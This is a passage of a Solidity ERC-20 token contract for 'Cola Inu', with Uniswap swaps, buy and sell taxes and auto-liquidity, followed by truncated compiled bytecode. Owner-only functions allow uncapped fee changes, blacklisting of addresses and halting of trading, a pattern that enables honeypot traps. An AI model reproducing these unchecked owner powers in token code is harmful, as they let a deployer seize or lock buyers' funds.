address payable private _marketingAddress = payable(0xAEB3423cc8Dbf5131843e01929656D5E2dfe95D2);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 30000000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function EnbleTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c806370a08231116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80637d1db4a5116100d15780637d1db4a5146104f45780638da5cb5b1461051f5780638eb59a5f1461054a5780638f9a55c014610561576101d7565b806370a0823114610477578063715018a6146104b457806374010ece146104cb576101d7565b806323b872dd1161016f578063658d4b7f1161013e578063658d4b7f146103d357806367243482146103fc5780636b999053146104255780636d8aa8f81461044e576101d7565b806323b872dd146103155780632fd689e314610352578063313ce5671461037d57806349bd5a5e146103a8576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780630e66e7f1146102965780631694505e146102bf57806318160ddd146102ea576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102bd60048036038101906102b89190613065565b6108fa565b005b3480156102cb57600080fd5b506102d4610993565b6040516102e191906134eb565b60405180910390f35b3480156102f657600080fd5b506102ff6109b9565b60405161030c91906136e8565b60405180910390f35b34801561032157600080fd5b5061033c60048036038101906103379190612ec8565b6109c3565b60405161034991906134d0565b60405180910390f35b34801561035e57600080fd5b50610367610a9c565b60405161037491906136e8565b60405180910390f35b34801561038957600080fd5b50610392610aa2565b60405161039f919061375d565b60405180910390f35b3480156103b457600080fd5b506103bd610aab565b6040516103ca9190613454565b60405180910390f35b3480156103df57600080fd5b506103fa60048036038101906103f59190612f1b565b610ad1565b005b34801561040857600080fd5b50610423600480360381019061041e9190612f9b565b610ba8565b005b34801561043157600080fd5b5061044c60048036038101906104479190612e2e565b610c98565b005b34801561045a57600080fd5b5061047560048036038101906104709190613065565b610d6f565b005b34801561048357600080fd5b5061049e60048036038101906104999190612e2e565b610e08565b6040516104ab91906136e8565b60405180910390f35b3480156104c057600080fd5b506104c9610e51565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190613092565b610ed9565b005b34801561050057600080fd5b50610509610f5f565b60405161051691906136e8565b60405180910390f35b34801561052b57600080fd5b50610534610f65565b6040516105419190613454565b60405180910390f35b34801561055657600080fd5b5061055f610f8e565b005b34801561056d57600080fd5b50610576611036565b60405161058391906136e8565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610f65565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280600881526020017f436f6c6120496e75000000000000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610f65565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b610902611495565b73ffffffffffffffffffffffffffffffffffffffff16610920610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096d90613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b60006109d0848484611668565b610a91846109dc611495565b610a8c85604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a42611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad9611495565b73ffffffffffffffffffffffffffffffffffffffff16610af7610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4490613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610bb0611495565b73ffffffffffffffffffffffffffffffffffffffff16610bce610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90613648565b60405180910390fd5b60005b84849050811015610c9157610c7d33868684818110610c4957610c48613adb565b5b9050602002016020810190610c5e9190612e2e565b858585818110610c7157610c70613adb565b5b90506020020135612062565b508080610c8990613a34565b915050610c27565b5050505050565b610ca0611495565b73ffffffffffffffffffffffffffffffffffffffff16610cbe610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d77611495565b73ffffffffffffffffffffffffffffffffffffffff16610d95610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e59611495565b73ffffffffffffffffffffffffffffffffffffffff16610e77610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490613648565b60405180910390fd5b610ed76000612235565b565b610ee1611495565b73ffffffffffffffffffffffffffffffffffffffff16610eff610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f96611495565b73ffffffffffffffffffffffffffffffffffffffff16610fb4610f65565b73ffffffffffffffffffffffffffffffffffffffff161461100a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100190613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600781526020017f434f4c41494e5500000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610f65565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610e08565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610f65565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610e08565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610e08565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565